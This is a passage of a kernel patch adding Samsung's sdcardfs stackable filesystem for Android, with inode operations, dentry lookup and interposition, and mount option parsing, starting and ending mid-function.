"sdcardfs: failed to allocate .nomedia fullpath buf\n"); + goto out; + } + + strcpy(nomedia_fullpath, nomedia_dir_name); + free_page((unsigned long)page_buf); + strcat(nomedia_fullpath, "/.nomedia"); + touch_err = touch(nomedia_fullpath, 0664); + if (touch_err) { + printk(KERN_ERR "sdcardfs: failed to touch(%s): %d\n", + nomedia_fullpath, touch_err); + kfree(nomedia_fullpath); + goto out; + } + kfree(nomedia_fullpath); + } +out: + mnt_drop_write(lower_path.mnt); +out_unlock: + unlock_dir(lower_parent_dentry); + sdcardfs_put_lower_path(dentry, &lower_path); +out_revert: + REVERT_CRED(saved_cred); +out_eacces: + return err; +} + +static int sdcardfs_rmdir(struct inode *dir, struct dentry *dentry) +{ + struct dentry *lower_dentry; + struct dentry *lower_dir_dentry; + int err; + struct path lower_path; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + const struct cred *saved_cred = NULL; + //char *path_s = NULL; + + int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); + if(!check_caller_access_to_name(dir, dentry->d_name.name, sbi->options.derive, 1, has_rw)) { + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " dentry: %s, task:%s\n", + __func__, dentry->d_name.name, current->comm); + err = -EACCES; + goto out_eacces; + } + + /* save current_cred and override it */ + OVERRIDE_CRED(SDCARDFS_SB(dir->i_sb), saved_cred); + + /* sdcardfs_get_real_lower(): in case of remove an user's obb dentry + * the dentry on the original path should be deleted. */ + sdcardfs_get_real_lower(dentry, &lower_path); + + lower_dentry = lower_path.dentry; + lower_dir_dentry = lock_parent(lower_dentry); + + err = mnt_want_write(lower_path.mnt); + if (err) + goto out_unlock; + err = vfs_rmdir(lower_dir_dentry->d_inode, lower_dentry); + if (err) + goto out; + + d_drop(dentry); /* drop our dentry on success (why not VFS's job?) */ + if (dentry->d_inode) + clear_nlink(dentry->d_inode); + fsstack_copy_attr_times(dir, lower_dir_dentry->d_inode); + fsstack_copy_inode_size(dir, lower_dir_dentry->d_inode); + dir->i_nlink = lower_dir_dentry->d_inode->i_nlink; + +out: + mnt_drop_write(lower_path.mnt); +out_unlock: + unlock_dir(lower_dir_dentry); + sdcardfs_put_real_lower(dentry, &lower_path); + REVERT_CRED(saved_cred); +out_eacces: + return err; +} + +#if 0 +static int sdcardfs_mknod(struct inode *dir, struct dentry *dentry, int mode, + dev_t dev) +{ + int err = 0; + struct dentry *lower_dentry; + struct dentry *lower_parent_dentry = NULL; + struct path lower_path; + + OVERRIDE_CRED(SDCARDFS_SB(dir->i_sb)); + + sdcardfs_get_lower_path(dentry, &lower_path); + lower_dentry = lower_path.dentry; + lower_parent_dentry = lock_parent(lower_dentry); + + err = mnt_want_write(lower_path.mnt); + if (err) + goto out_unlock; + err = vfs_mknod(lower_parent_dentry->d_inode, lower_dentry, mode, dev); + if (err) + goto out; + + err = sdcardfs_interpose(dentry, dir->i_sb, &lower_path); + if (err) + goto out; + fsstack_copy_attr_times(dir, sdcardfs_lower_inode(dir)); + fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); + +out: + mnt_drop_write(lower_path.mnt); +out_unlock: + unlock_dir(lower_parent_dentry); + sdcardfs_put_lower_path(dentry, &lower_path); + REVERT_CRED(); + return err; +} +#endif + +/* + * The locking rules in sdcardfs_rename are complex. We could use a simpler + * superblock-level name-space lock for renames and copy-ups. + */ +static int sdcardfs_rename(struct inode *old_dir, struct dentry *old_dentry, + struct inode *new_dir, struct dentry *new_dentry) +{ + int err = 0; + struct dentry *lower_old_dentry = NULL; + struct dentry *lower_new_dentry = NULL; + struct dentry *lower_old_dir_dentry = NULL; + struct dentry *lower_new_dir_dentry = NULL; + struct dentry *trap = NULL; + struct dentry *new_parent = NULL; + struct path lower_old_path, lower_new_path; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(old_dentry->d_sb); + const struct cred *saved_cred = NULL; + + int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); + if(!check_caller_access_to_name(old_dir, old_dentry->d_name.name, + sbi->options.derive, 1, has_rw) || + !check_caller_access_to_name(new_dir, new_dentry->d_name.name, + sbi->options.derive, 1, has_rw)) { + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " new_dentry: %s, task:%s\n", + __func__, new_dentry->d_name.name, current->comm); + err = -EACCES; + goto out_eacces; + } + + /* save current_cred and override it */ + OVERRIDE_CRED(SDCARDFS_SB(old_dir->i_sb), saved_cred); + + sdcardfs_get_real_lower(old_dentry, &lower_old_path); + sdcardfs_get_lower_path(new_dentry, &lower_new_path); + lower_old_dentry = lower_old_path.dentry; + lower_new_dentry = lower_new_path.dentry; + lower_old_dir_dentry = dget_parent(lower_old_dentry); + lower_new_dir_dentry = dget_parent(lower_new_dentry); + + trap = lock_rename(lower_old_dir_dentry, lower_new_dir_dentry); + /* source should not be ancestor of target */ + if (trap == lower_old_dentry) { + err = -EINVAL; + goto out; + } + /* target should not be ancestor of source */ + if (trap == lower_new_dentry) { + err = -ENOTEMPTY; + goto out; + } + + err = mnt_want_write(lower_old_path.mnt); + if (err) + goto out; + err = mnt_want_write(lower_new_path.mnt); + if (err) + goto out_drop_old_write; + + err = vfs_rename(lower_old_dir_dentry->d_inode, lower_old_dentry, + lower_new_dir_dentry->d_inode, lower_new_dentry); + if (err) + goto out_err; + + /* Copy attrs from lower dir, but i_uid/i_gid */ + fsstack_copy_attr_all(new_dir, lower_new_dir_dentry->d_inode); + fsstack_copy_inode_size(new_dir, lower_new_dir_dentry->d_inode); + fix_derived_permission(new_dir); + if (new_dir != old_dir) { + fsstack_copy_attr_all(old_dir, lower_old_dir_dentry->d_inode); + fsstack_copy_inode_size(old_dir, lower_old_dir_dentry->d_inode); + fix_derived_permission(old_dir); + /* update the derived permission of the old_dentry + * with its new parent + */ + new_parent = dget_parent(new_dentry); + if(new_parent) { + if(old_dentry->d_inode) { + get_derived_permission(new_parent, old_dentry); + fix_derived_permission(old_dentry->d_inode); + } + dput(new_parent); + } + } + +out_err: + mnt_drop_write(lower_new_path.mnt); +out_drop_old_write: + mnt_drop_write(lower_old_path.mnt); +out: + unlock_rename(lower_old_dir_dentry, lower_new_dir_dentry); + dput(lower_old_dir_dentry); + dput(lower_new_dir_dentry); + sdcardfs_put_real_lower(old_dentry, &lower_old_path); + sdcardfs_put_lower_path(new_dentry, &lower_new_path); + REVERT_CRED(saved_cred); +out_eacces: + return err; +} + +#if 0 +static int sdcardfs_readlink(struct dentry *dentry, char __user *buf, int bufsiz) +{ + int err; + struct dentry *lower_dentry; + struct path lower_path; + /* XXX readlink does not requires overriding credential */ + + sdcardfs_get_lower_path(dentry, &lower_path); + lower_dentry = lower_path.dentry; + if (!lower_dentry->d_inode->i_op || + !lower_dentry->d_inode->i_op->readlink) { + err = -EINVAL; + goto out; + } + + err = lower_dentry->d_inode->i_op->readlink(lower_dentry, + buf, bufsiz); + if (err < 0) + goto out; + fsstack_copy_attr_atime(dentry->d_inode, lower_dentry->d_inode); + +out: + sdcardfs_put_lower_path(dentry, &lower_path); + return err; +} +#endif + +#if 0 +static void *sdcardfs_follow_link(struct dentry *dentry, struct nameidata *nd) +{ + char *buf; + int len = PAGE_SIZE, err; + mm_segment_t old_fs; + + /* This is freed by the put_link method assuming a successful call. */ + buf = kmalloc(len, GFP_KERNEL); + if (!buf) { + buf = ERR_PTR(-ENOMEM); + goto out; + } + + /* read the symlink, and then we will follow it */ + old_fs = get_fs(); + set_fs(KERNEL_DS); + err = sdcardfs_readlink(dentry, buf, len); + set_fs(old_fs); + if (err < 0) { + kfree(buf); + buf = ERR_PTR(err); + } else { + buf[err] = '\0'; + } +out: + nd_set_link(nd, buf); + return NULL; +} +#endif + +#if 0 +/* this @nd *IS* still used */ +static void sdcardfs_put_link(struct dentry *dentry, struct nameidata *nd, + void *cookie) +{ + char *buf = nd_get_link(nd); + if (!IS_ERR(buf)) /* free the char* */ + kfree(buf); +} +#endif + +static int sdcardfs_permission(struct inode *inode, int mask, unsigned int flags) +{ + int err; + + if (flags & IPERM_FLAG_RCU) + return -ECHILD; + + /* + * Permission check on sdcardfs inode. + * Calling process should have AID_SDCARD_RW permission + */ + err = generic_permission(inode, mask, 0, inode->i_op->check_acl); + + /* XXX + * Original sdcardfs code calls inode_permission(lower_inode,.. ) + * for checking inode permission. But doing such things here seems + * duplicated work, because the functions called after this func, + * such as vfs_create, vfs_unlink, vfs_rename, and etc, + * does exactly same thing, i.e., they calls inode_permission(). + * So we just let they do the things. + * If there are any security hole, just uncomment following if block. + */ +#if 0 + if (!err) { + /* + * Permission check on lower_inode(=EXT4). + * we check it with AID_MEDIA_RW permission + */ + struct inode *lower_inode; + OVERRIDE_CRED(SDCARDFS_SB(inode->sb)); + + lower_inode = sdcardfs_lower_inode(inode); + err = inode_permission(lower_inode, mask); + + REVERT_CRED(); + } +#endif + return err; + +} + +static int sdcardfs_getattr(struct vfsmount *mnt, struct dentry *dentry, + struct kstat *stat) +{ + struct dentry *lower_dentry; + struct inode *inode; + struct inode *lower_inode; + struct path lower_path; + struct dentry *parent; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + + parent = dget_parent(dentry); + if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name, + sbi->options.derive, 0, 0)) { + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " dentry: %s, task:%s\n", + __func__, dentry->d_name.name, current->comm); + dput(parent); + return -EACCES; + } + dput(parent); + + inode = dentry->d_inode; + + sdcardfs_get_lower_path(dentry, &lower_path); + lower_dentry = lower_path.dentry; + lower_inode = sdcardfs_lower_inode(inode); + + fsstack_copy_attr_all(inode, lower_inode); + fsstack_copy_inode_size(inode, lower_inode); + /* if the dentry has been moved from other location + * so, on this stage, its derived permission must be + * rechecked from its private field. + */ + fix_derived_permission(inode); + + generic_fillattr(inode, stat); + sdcardfs_put_lower_path(dentry, &lower_path); + return 0; +} + +static int sdcardfs_setattr(struct dentry *dentry, struct iattr *ia) +{ + int err = 0; + struct dentry *lower_dentry; + struct inode *inode; + struct inode *lower_inode; + struct path lower_path; + struct iattr lower_ia; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + struct dentry *parent; + int has_rw; + + inode = dentry->d_inode; + + /* + * Check if user has permission to change inode. We don't check if + * this user can change the lower inode: that should happen when + * calling notify_change on the lower inode. + */ + err = inode_change_ok(inode, ia); + + /* no vfs_XXX operations required, cred overriding will be skipped. wj*/ + if (!err) { + /* check the Android group ID */ + has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); + parent = dget_parent(dentry); + if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name, + sbi->options.derive, 1, has_rw)) { + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " dentry: %s, task:%s\n", + __func__, dentry->d_name.name, current->comm); + err = -EACCES; + } + dput(parent); + } + + if (err) + goto out_err; + + sdcardfs_get_lower_path(dentry, &lower_path); + lower_dentry = lower_path.dentry; + lower_inode = sdcardfs_lower_inode(inode); + + /* prepare our own lower struct iattr (with the lower file) */ + memcpy(&lower_ia, ia, sizeof(lower_ia)); + if (ia->ia_valid & ATTR_FILE) + lower_ia.ia_file = sdcardfs_lower_file(ia->ia_file); + + lower_ia.ia_valid &= ~(ATTR_UID | ATTR_GID | ATTR_MODE); + + /* + * If shrinking, first truncate upper level to cancel writing dirty + * pages beyond the new eof; and also if its' maxbytes is more + * limiting (fail with -EFBIG before making any change to the lower + * level). There is no need to vmtruncate the upper level + * afterwards in the other cases: we fsstack_copy_inode_size from + * the lower level. + */ + if (current->mm) + down_write(¤t->mm->mmap_sem); + if (ia->ia_valid & ATTR_SIZE) { + err = inode_newsize_ok(inode, ia->ia_size); + if (err) { + if (current->mm) + up_write(¤t->mm->mmap_sem); + goto out; + } + truncate_setsize(inode, ia->ia_size); + } + + /* + * mode change is for clearing setuid/setgid bits. Allow lower fs + * to interpret this in its own way. + */ + if (lower_ia.ia_valid & (ATTR_KILL_SUID | ATTR_KILL_SGID)) + lower_ia.ia_valid &= ~ATTR_MODE; + + /* notify the (possibly copied-up) lower inode */ + /* + * Note: we use lower_dentry->d_inode, because lower_inode may be + * unlinked (no inode->i_sb and i_ino==0. This happens if someone + * tries to open(), unlink(), then ftruncate() a file. + */ + mutex_lock(&lower_dentry->d_inode->i_mutex); + err = notify_change(lower_dentry, &lower_ia); /* note: lower_ia */ + mutex_unlock(&lower_dentry->d_inode->i_mutex); + if (current->mm) + up_write(¤t->mm->mmap_sem); + if (err) + goto out; + + /* get attributes from the lower inode */ + fsstack_copy_attr_all(inode, lower_inode); + /* update derived permission of the upper inode */ + fix_derived_permission(inode); + + /* + * Not running fsstack_copy_inode_size(inode, lower_inode), because + * VFS should update our inode size, and notify_change on + * lower_inode should update its size. + */ + +out: + sdcardfs_put_lower_path(dentry, &lower_path); +out_err: + return err; +} + +const struct inode_operations sdcardfs_symlink_iops = { + .permission = sdcardfs_permission, + .setattr = sdcardfs_setattr, + /* XXX Following operations are implemented, + * but FUSE(sdcard) or FAT does not support them + * These methods are *NOT* perfectly tested. + .readlink = sdcardfs_readlink, + .follow_link = sdcardfs_follow_link, + .put_link = sdcardfs_put_link, + */ +}; + +const struct inode_operations sdcardfs_dir_iops = { + .create = sdcardfs_create, + .lookup = sdcardfs_lookup, + .permission = sdcardfs_permission, + .unlink = sdcardfs_unlink, + .mkdir = sdcardfs_mkdir, + .rmdir = sdcardfs_rmdir, + .rename = sdcardfs_rename, + .setattr = sdcardfs_setattr, + .getattr = sdcardfs_getattr, + /* XXX Following operations are implemented, + * but FUSE(sdcard) or FAT does not support them + * These methods are *NOT* perfectly tested. + .symlink = sdcardfs_symlink, + .link = sdcardfs_link, + .mknod = sdcardfs_mknod, + */ +}; + +const struct inode_operations sdcardfs_main_iops = { + .permission = sdcardfs_permission, + .setattr = sdcardfs_setattr, + .getattr = sdcardfs_getattr, +}; diff --git a/fs/sdcardfs/lookup.c b/fs/sdcardfs/lookup.c new file mode 100755 index 0000000000000..c0b12375b1bf4 --- /dev/null +++ b/fs/sdcardfs/lookup.c @@ -0,0 +1,386 @@ +/* + * fs/sdcardfs/lookup.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" +#include "linux/delay.h" + +/* The dentry cache is just so we have properly sized dentries */ +static struct kmem_cache *sdcardfs_dentry_cachep; + +int sdcardfs_init_dentry_cache(void) +{ + sdcardfs_dentry_cachep = + kmem_cache_create("sdcardfs_dentry", + sizeof(struct sdcardfs_dentry_info), + 0, SLAB_RECLAIM_ACCOUNT, NULL); + + return sdcardfs_dentry_cachep ? 0 : -ENOMEM; +} + +void sdcardfs_destroy_dentry_cache(void) +{ + if (sdcardfs_dentry_cachep) + kmem_cache_destroy(sdcardfs_dentry_cachep); +} + +void free_dentry_private_data(struct dentry *dentry) +{ + if (!dentry || !dentry->d_fsdata) + return; + kmem_cache_free(sdcardfs_dentry_cachep, dentry->d_fsdata); + dentry->d_fsdata = NULL; +} + +/* allocate new dentry private data */ +int new_dentry_private_data(struct dentry *dentry) +{ + struct sdcardfs_dentry_info *info = SDCARDFS_D(dentry); + + /* use zalloc to init dentry_info.lower_path */ + info = kmem_cache_zalloc(sdcardfs_dentry_cachep, GFP_ATOMIC); + if (!info) + return -ENOMEM; + + spin_lock_init(&info->lock); + dentry->d_fsdata = info; + + return 0; +} + +static int sdcardfs_inode_test(struct inode *inode, void *candidate_lower_inode) +{ + struct inode *current_lower_inode = sdcardfs_lower_inode(inode); + if (current_lower_inode == (struct inode *)candidate_lower_inode) + return 1; /* found a match */ + else + return 0; /* no match */ +} + +static int sdcardfs_inode_set(struct inode *inode, void *lower_inode) +{ + /* we do actual inode initialization in sdcardfs_iget */ + return 0; +} + +static struct inode *sdcardfs_iget(struct super_block *sb, + struct inode *lower_inode) +{ + struct sdcardfs_inode_info *info; + struct inode *inode; /* the new inode to return */ + int err; + + inode = iget5_locked(sb, /* our superblock */ + /* + * hashval: we use inode number, but we can + * also use "(unsigned long)lower_inode" + * instead. + */ + lower_inode->i_ino, /* hashval */ + sdcardfs_inode_test, /* inode comparison function */ + sdcardfs_inode_set, /* inode init function */ + lower_inode); /* data passed to test+set fxns */ + if (!inode) { + err = -EACCES; + iput(lower_inode); + return ERR_PTR(err); + } + /* if found a cached inode, then just return it */ + if (!(inode->i_state & I_NEW)) + return inode; + + /* initialize new inode */ + info = SDCARDFS_I(inode); + + inode->i_ino = lower_inode->i_ino; + if (!igrab(lower_inode)) { + err = -ESTALE; + return ERR_PTR(err); + } + sdcardfs_set_lower_inode(inode, lower_inode); + + inode->i_version++; + + /* use different set of inode ops for symlinks & directories */ + if (S_ISDIR(lower_inode->i_mode)) + inode->i_op = &sdcardfs_dir_iops; + else if (S_ISLNK(lower_inode->i_mode)) + inode->i_op = &sdcardfs_symlink_iops; + else + inode->i_op = &sdcardfs_main_iops; + + /* use different set of file ops for directories */ + if (S_ISDIR(lower_inode->i_mode)) + inode->i_fop = &sdcardfs_dir_fops; + else + inode->i_fop = &sdcardfs_main_fops; + + inode->i_mapping->a_ops = &sdcardfs_aops; + + inode->i_atime.tv_sec = 0; + inode->i_atime.tv_nsec = 0; + inode->i_mtime.tv_sec = 0; + inode->i_mtime.tv_nsec = 0; + inode->i_ctime.tv_sec = 0; + inode->i_ctime.tv_nsec = 0; + + /* properly initialize special inodes */ + if (S_ISBLK(lower_inode->i_mode) || S_ISCHR(lower_inode->i_mode) || + S_ISFIFO(lower_inode->i_mode) || S_ISSOCK(lower_inode->i_mode)) + init_special_inode(inode, lower_inode->i_mode, + lower_inode->i_rdev); + + /* all well, copy inode attributes */ + fsstack_copy_attr_all(inode, lower_inode); + fsstack_copy_inode_size(inode, lower_inode); + + fix_derived_permission(inode); + + unlock_new_inode(inode); + return inode; +} + +/* + * Connect a sdcardfs inode dentry/inode with several lower ones. This is + * the classic stackable file system "vnode interposition" action. + * + * @dentry: sdcardfs's dentry which interposes on lower one + * @sb: sdcardfs's super_block + * @lower_path: the lower path (caller does path_get/put) + */ +int sdcardfs_interpose(struct dentry *dentry, struct super_block *sb, + struct path *lower_path) +{ + int err = 0; + struct inode *inode; + struct inode *lower_inode; + struct super_block *lower_sb; + + lower_inode = lower_path->dentry->d_inode; + lower_sb = sdcardfs_lower_super(sb); + + /* check that the lower file system didn't cross a mount point */ + if (lower_inode->i_sb != lower_sb) { + err = -EXDEV; + goto out; + } + + /* + * We allocate our new inode below by calling sdcardfs_iget, + * which will initialize some of the new inode's fields + */ + + /* inherit lower inode number for sdcardfs's inode */ + inode = sdcardfs_iget(sb, lower_inode); + if (IS_ERR(inode)) { + err = PTR_ERR(inode); + goto out; + } + + d_add(dentry, inode); + update_derived_permission(dentry); +out: + return err; +} + +/* + * Main driver function for sdcardfs's lookup. + * + * Returns: NULL (ok), ERR_PTR if an error occurred. + * Fills in lower_parent_path with on success. + */ +static struct dentry *__sdcardfs_lookup(struct dentry *dentry, + struct nameidata *nd, struct path *lower_parent_path) +{ + int err = 0; + struct vfsmount *lower_dir_mnt; + struct dentry *lower_dir_dentry = NULL; + struct dentry *lower_dentry; + const char *name; + struct nameidata lower_nd; + struct path lower_path; + struct qstr this; + struct sdcardfs_sb_info *sbi; + + sbi = SDCARDFS_SB(dentry->d_sb); + /* must initialize dentry operations */ + d_set_d_op(dentry, &sdcardfs_ci_dops); + + if (IS_ROOT(dentry)) + goto out; + + name = dentry->d_name.name; + + /* now start the actual lookup procedure */ + lower_dir_dentry = lower_parent_path->dentry; + lower_dir_mnt = lower_parent_path->mnt; + + /* Use vfs_path_lookup to check if the dentry exists or not */ + if (sbi->options.lower_fs == LOWER_FS_EXT4) { + err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, + LOOKUP_CASE_INSENSITIVE, &lower_nd); + } else if (sbi->options.lower_fs == LOWER_FS_FAT) { + err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, 0, + &lower_nd); + } + + /* no error: handle positive dentries */ + if (!err) { + /* check if the dentry is an obb dentry + * if true, the lower_inode must be replaced with + * the inode of the graft path */ + + if(need_graft_path(dentry)) { + + /* setup_obb_dentry() + * The lower_path will be stored to the dentry's orig_path + * and the base obbpath will be copyed to the lower_path variable. + * if an error returned, there's no change in the lower_path + * returns: -ERRNO if error (0: no error) */ + err = setup_obb_dentry(dentry, &lower_nd.path); + + if(err) { + /* if the sbi->obbpath is not available, we can optionally + * setup the lower_path with its orig_path. + * but, the current implementation just returns an error + * because the sdcard daemon also regards this case as + * a lookup fail. */ + printk(KERN_INFO "sdcardfs: base obbpath is not available\n"); + sdcardfs_put_reset_orig_path(dentry); + goto out; + } + } + + sdcardfs_set_lower_path(dentry, &lower_nd.path); + err = sdcardfs_interpose(dentry, dentry->d_sb, &lower_nd.path); + if (err) /* path_put underlying path on error */ + sdcardfs_put_reset_lower_path(dentry); + goto out; + } + + /* + * We don't consider ENOENT an error, and we want to return a + * negative dentry. + */ + if (err && err != -ENOENT) + goto out; + + /* instatiate a new negative dentry */ + this.name = name; + this.len = strlen(name); + this.hash = full_name_hash(this.name, this.len); + lower_dentry = d_lookup(lower_dir_dentry, &this); + if (lower_dentry) + goto setup_lower; + + lower_dentry = d_alloc(lower_dir_dentry, &this); + if (!lower_dentry) { + err = -ENOMEM; + goto out; + } + d_add(lower_dentry, NULL); /* instantiate and hash */ + +setup_lower: + lower_path.dentry = lower_dentry; + lower_path.mnt = mntget(lower_dir_mnt); + sdcardfs_set_lower_path(dentry, &lower_path); + + /* + * If the intent is to create a file, then don't return an error, so + * the VFS will continue the process of making this negative dentry + * into a positive one. + */ + if (nd) { + if (nd->flags & (LOOKUP_CREATE|LOOKUP_RENAME_TARGET)) + err = 0; + } else + err = 0; + +out: + return ERR_PTR(err); +} + +/* + * On success: + * fills dentry object appropriate values and returns NULL. + * On fail (== error) + * returns error ptr + * + * @dir : Parent inode. It is locked (dir->i_mutex) + * @dentry : Target dentry to lookup. we should set each of fields. + * (dentry->d_name is initialized already) + * @nd : nameidata of parent inode + */ +struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, + struct nameidata *nd) +{ + struct dentry *ret = NULL, *parent; + struct path lower_parent_path; + int err = 0; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + const struct cred *saved_cred = NULL; + + parent = dget_parent(dentry); + + if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name, + sbi->options.derive, 0, 0)) { + ret = ERR_PTR(-EACCES); + printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" + " dentry: %s, task:%s\n", + __func__, dentry->d_name.name, current->comm); + goto out_err; + } + + /* save current_cred and override it */ + OVERRIDE_CRED_PTR(SDCARDFS_SB(dir->i_sb), saved_cred); + + sdcardfs_get_lower_path(parent, &lower_parent_path); + + /* allocate dentry private data. We free it in ->d_release */ + err = new_dentry_private_data(dentry); + if (err) { + ret = ERR_PTR(err); + goto out; + } + + ret = __sdcardfs_lookup(dentry, nd, &lower_parent_path); + if (IS_ERR(ret)) + { + goto out; + } + if (ret) + dentry = ret; + if (dentry->d_inode) { + fsstack_copy_attr_times(dentry->d_inode, + sdcardfs_lower_inode(dentry->d_inode)); + /* get drived permission */ + get_derived_permission(parent, dentry); + fix_derived_permission(dentry->d_inode); + } + /* update parent directory's atime */ + fsstack_copy_attr_atime(parent->d_inode, + sdcardfs_lower_inode(parent->d_inode)); + +out: + sdcardfs_put_lower_path(parent, &lower_parent_path); + REVERT_CRED(saved_cred); +out_err: + dput(parent); + return ret; +} diff --git a/fs/sdcardfs/main.c b/fs/sdcardfs/main.c new file mode 100755 index 0000000000000..1fdceffec72ca --- /dev/null +++ b/fs/sdcardfs/main.c @@ -0,0 +1,425 @@ +/* + * fs/sdcardfs/main.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" +#include +#include +#include + +enum { + Opt_uid, + Opt_gid, + Opt_wgid, + Opt_debug, + Opt_split, + Opt_derive, + Opt_lower_fs, + Opt_reserved_mb, + Opt_err, +}; + +static const match_table_t sdcardfs_tokens = { + {Opt_uid, "uid=%u"}, + {Opt_gid, "gid=%u"}, + {Opt_wgid, "wgid=%u"}, + {Opt_debug, "debug"}, + {Opt_split, "split"}, + {Opt_derive, "derive=%s"}, + {Opt_lower_fs, "lower_fs=%s"}, + {Opt_reserved_mb, "reserved_mb=%u"}, + {Opt_err, NULL} +}; + +static int parse_options(struct super_block *sb, char *options, int silent, + int *debug, struct sdcardfs_mount_options *opts) +{ + char *p; + substring_t args[MAX_OPT_ARGS]; + int option; + char *string_option; + + /* by default, we use AID_MEDIA_RW as uid, gid */ + opts->fs_low_uid = AID_MEDIA_RW; + opts->fs_low_gid = AID_MEDIA_RW; + /* by default, we use AID_SDCARD_RW as write_gid */ + opts->write_gid = AID_SDCARD_RW; + /* default permission policy + * (DERIVE_NONE | DERIVE_LEGACY | DERIVE_UNIFIED) */ + opts->derive = DERIVE_NONE; + opts->split_perms = 0; + /* by default, we use LOWER_FS_EXT4 as lower fs type */ + opts->lower_fs = LOWER_FS_EXT4; + /* by default, 0MB is reserved */ + opts->reserved_mb = 0; + + *debug = 0; + + if (!options) + return 0; + + while ((p = strsep(&options, ",")) != NULL) { + int token; + if (!*p) + continue; + + token = match_token(p, sdcardfs_tokens, args); + + switch (token) { + case Opt_debug: + *debug = 1; + break; + case Opt_uid: + if (match_int(&args[0], &option)) + return 0; + opts->fs_low_uid = option; + break; + case Opt_gid: + if (match_int(&args[0], &option)) + return 0; + opts->fs_low_gid = option; + break; + case Opt_wgid: + if (match_int(&args[0], &option)) + return 0; + opts->write_gid = option; + break; + case Opt_split: + opts->split_perms=1; + break; + case Opt_derive: + string_option = match_strdup(&args[0]); + if (!strcmp("none", string_option)) { + opts->derive = DERIVE_NONE; + } else if (!strcmp("legacy", string_option)) { + opts->derive = DERIVE_LEGACY; + } else if (!strcmp("unified", string_option)) { + opts->derive = DERIVE_UNIFIED; + } else { + kfree(string_option); + goto invalid_option; + } + kfree(string_option); + break; + case Opt_lower_fs: + string_option = match_strdup(&args[0]); + if (!strcmp("ext4", string_option)) { + opts->lower_fs = LOWER_FS_EXT4; + } else if (!strcmp("fat", string_option)) { + opts->lower_fs = LOWER_FS_FAT; + } else { + kfree(string_option); + goto invalid_option; + } + kfree(string_option); + break; + case Opt_reserved_mb: + if (match_int(&args[0], &option)) + return 0; + opts->reserved_mb = option; + break; + /* unknown option */ + default: +invalid_option: + if (!silent) { + printk( KERN_ERR "Unrecognized mount option \"%s\" " + "or missing value", p); + } + return -EINVAL; + } + } + + if (*debug) { + printk( KERN_INFO "sdcardfs : options - debug:%d\n", *debug); + printk( KERN_INFO "sdcardfs : options - uid:%d\n", + opts->fs_low_uid); + printk( KERN_INFO "sdcardfs : options - gid:%d\n", + opts->fs_low_gid); + } + + return 0; +} + +/* + * our custom d_alloc_root work-alike + * + * we can't use d_alloc_root if we want to use our own interpose function + * unchanged, so we simply call our own "fake" d_alloc_root + */ +static struct dentry *sdcardfs_d_alloc_root(struct super_block *sb) +{ + struct dentry *ret = NULL; + + if (sb) { + static const struct qstr name = { + .name = "/", + .len = 1 + }; + + ret = d_alloc(NULL, &name); + if (ret) { + d_set_d_op(ret, &sdcardfs_ci_dops); + ret->d_sb = sb; + ret->d_parent = ret; + } + } + return ret; +} + +/* + * There is no need to lock the sdcardfs_super_info's rwsem as there is no + * way anyone can have a reference to the superblock at this point in time. + */ +static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, + void *raw_data, int silent) +{ + int err = 0; + int debug; + struct super_block *lower_sb; + struct path lower_path; + struct sdcardfs_sb_info *sb_info; + void *pkgl_id; + + printk(KERN_INFO "sdcardfs version 2.0\n"); + + if (!dev_name) { + printk(KERN_ERR + "sdcardfs: read_super: missing dev_name argument\n"); + err = -EINVAL; + goto out; + } + + printk(KERN_INFO "sdcardfs: dev_name -> %s\n", dev_name); + printk(KERN_INFO "sdcardfs: options -> %s\n", (char *)raw_data); + + /* parse lower path */ + err = kern_path(dev_name, LOOKUP_FOLLOW | LOOKUP_DIRECTORY, + &lower_path); + if (err) { + printk(KERN_ERR "sdcardfs: error accessing " + "lower directory '%s'\n", dev_name); + goto out; + } + + /* allocate superblock private data */ + sb->s_fs_info = kzalloc(sizeof(struct sdcardfs_sb_info), GFP_KERNEL); + if (!SDCARDFS_SB(sb)) { + printk(KERN_CRIT "sdcardfs: read_super: out of memory\n"); + err = -ENOMEM; + goto out_free; + } + + sb_info = sb->s_fs_info; + + /* parse options */ + err = parse_options(sb, raw_data, silent, &debug, &sb_info->options); + if (err) { + printk(KERN_ERR "sdcardfs: invalid options\n"); + goto 